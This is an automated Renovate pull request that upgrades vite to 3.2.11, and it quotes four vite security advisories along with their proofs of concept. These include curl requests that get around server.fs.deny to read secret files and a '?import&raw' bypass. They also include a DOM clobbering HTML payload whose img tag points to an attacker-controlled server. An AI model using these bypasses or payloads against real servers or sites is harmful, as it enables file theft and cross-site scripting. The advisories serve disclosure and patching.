chore(deps): update dependency vite to v3.2.11 [security] (#484)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vite](https://vitejs.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`3.2.10` ->
`3.2.11`](https://renovatebot.com/diffs/npm/vite/3.2.10/3.2.11) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/3.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/3.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/3.2.10/3.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/3.2.10/3.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

> [!WARNING]
> Some dependencies could not be looked up. Check the Dependency
Dashboard for more information.

### GitHub Vulnerability Alerts

####
[CVE-2024-23331](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw)

### Summary
[Vite dev server
option](https://vitejs.dev/config/server-options.html#server-fs-deny)
`server.fs.deny` can be bypassed on case-insensitive file systems using
case-augmented versions of filenames. Notably this affects servers
hosted on Windows.

This bypass is similar to
https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area
reduced to hosts having case-insensitive filesystems.

### Patches
Fixed in [email protected], [email protected], [email protected], [email protected]

### Details
Since `picomatch` defaults to case-sensitive glob matching, but the file
server doesn't discriminate; a blacklist bypass is possible.

See `picomatch` usage, where `nocase` is defaulted to `false`:
https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher
derived from `config.server.fs.deny` fails to block access to sensitive
files.

### PoC
**Setup**
1. Created vanilla Vite project using `npm create vite@latest` on a
Standard Azure hosted Windows 10 instance.
    - `npm run dev -- --host 0.0.0.0`
- Publicly accessible for the time being here: http://20.12.242.81:5173/
2. Created dummy secret files, e.g. `custom.secret` and `production.pem`
3. Populated `vite.config.js` with
```javascript
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
```

**Reproduction**
1. `curl -s http://20.12.242.81:5173/@​fs//`
- Descriptive error page reveals absolute filesystem path to project
root
2. `curl -s
http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`
    - Discoverable configuration file reveals locations of secrets
3. `curl -s
http://20.12.242.81:5173/@​fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`
- Secrets are directly accessible using case-augmented version of
filename

**Proof**
![Screenshot 2024-01-19
022736](https://user-images.githubusercontent.com/907968/298020728-3a8d3c06-fcfd-4009-9182-e842f66a6ea5.png)

### Impact
**Who**
- Users with exposed dev servers on environments with case-insensitive
filesystems

**What**
- Files protected by `server.fs.deny` are both discoverable, and
accessible

####
[CVE-2024-31207](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-8jhw-289h-jh2g)

### Summary
[Vite dev server
option](https://vitejs.dev/config/server-options.html#server-fs-deny)
`server.fs.deny` did not deny requests for patterns with directories. An
example of such a pattern is `/foo/**/*`.

### Impact
Only apps setting a custom `server.fs.deny` that includes a pattern with
directories, and explicitly exposing the Vite dev server to the network
(using `--host` or [`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host)) are
affected.

### Patches
Fixed in [email protected], [email protected], [email protected], [email protected], [email protected],
[email protected]

### Details
`server.fs.deny` uses picomatch with the config of `{ matchBase: true
}`.
[matchBase](https://redirect.github.com/micromatch/picomatch/blob/master/README.md#options:~:text=Description-,basename,-boolean)
only matches the basename of the file, not the path due to a bug
([https://github.com/micromatch/picomatch/issues/89](https://redirect.github.com/micromatch/picomatch/issues/89)).
The vite config docs read like you should be able to set fs.deny to glob
with picomatch. Vite also does not set `{ dot: true }` and that causes
[dotfiles not to be
denied](https://redirect.github.com/micromatch/picomatch/blob/master/README.md#options:~:text=error%20is%20thrown.-,dot,-boolean)
unless they are explicitly defined.

**Reproduction**

Set fs.deny to `['**/.git/**']` and then curl for `/.git/config`.

* with `matchBase: true`, you can get any file under `.git/` (config,
HEAD, etc).
* with `matchBase: false`, you cannot get any file under `.git/`
(config, HEAD, etc).

####
[CVE-2024-45811](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx)

### Summary
The contents of arbitrary files can be returned to the browser.

### Details
`@fs` denies access to files outside of Vite serving allow list. Adding
`?import&raw` to the URL bypasses this limitation and returns the file
content if it exists.

### PoC
```sh
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
```

####
[CVE-2024-45812](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-64vr-g452-qvp3)

### Summary

We discovered a DOM Clobbering vulnerability in Vite when building
scripts to `cjs`/`iife`/`umd` output format. The DOM Clobbering gadget
in the module can lead to cross-site scripting (XSS) in web pages where
scriptless attacker-controlled HTML elements (e.g., an img tag with an
unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack:
GHSA-4vvj-4cpr-p986

### Details

**Backgrounds**

DOM Clobbering is a type of code-reuse attack where the attacker first
embeds a piece of non-script, seemingly benign HTML markups in the
webpage (e.g. through a post or comment) and leverages the gadgets
(pieces of js code) living in the existing javascript code to transform
it into executable code. More for information about DOM Clobbering, here
are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

**Gadgets found in Vite**

We have identified a DOM Clobbering vulnerability in Vite bundled
scripts, particularly when the scripts dynamically import other scripts
from the assets folder and the developer sets the build output format to
`cjs`, `iife`, or `umd`. In such cases, Vite replaces relative paths
starting with `__VITE_ASSET__` using the URL retrieved from
`document.currentScript`.

However, this implementation is vulnerable to a DOM Clobbering attack.
The `document.currentScript` lookup can be shadowed by an attacker via
the browser's named DOM tree element access mechanism. This manipulation
allows an attacker to replace the intended script element with a
malicious HTML element. When this happens, the src attribute of the
attacker-controlled element is used as the URL for importing scripts,
potentially leading to the dynamic loading of scripts from an
attacker-controlled server.

```
const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
```

### PoC

Considering a website that contains the following `main.js` script, the
devloper decides to use the Vite to bundle up the program with the
following configuration.

```
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
```

```
// extra.js
export default "https://myserver/justAnOther.js"
```

```
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});
```

After running the build command, the developer will get following bundle
as the output.

```
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
```

Adding the Vite bundled script, `dist/index-DDmIg9VD.js`, as part of the
web page source code, the page could load the `extra.js` file from the
attacker's domain, `attacker.controlled.server`. The attacker only needs
to insert an `img` tag with the `name` attribute set to `currentScript`.
This can be done through a website's feature that allows users to embed
certain script-less HTML (e.g., markdown renderers, web email clients,
forums) or via an HTML injection vulnerability in third-party JavaScript
loaded on the page.

```
<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
```

### Impact

This vulnerability can result in cross-site scripting (XSS) attacks on
websites that include Vite-bundled files (configured with an output
format of `cjs`, `iife`, or `umd`) and allow users to inject certain
scriptless HTML tags without properly sanitizing the name or id
attributes.

### Patch

```
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )
```

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

###
[`v3.2.11`](https://redirect.github.com/vitejs/vite/releases/tag/v3.2.11)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v3.2.10...v3.2.11)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v3.2.11/packages/vite/CHANGELOG.md)
for details.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/bazelbuild/examples).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4yNi4xIiwidXBkYXRlZEluVmVyIjoiMzguODAuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->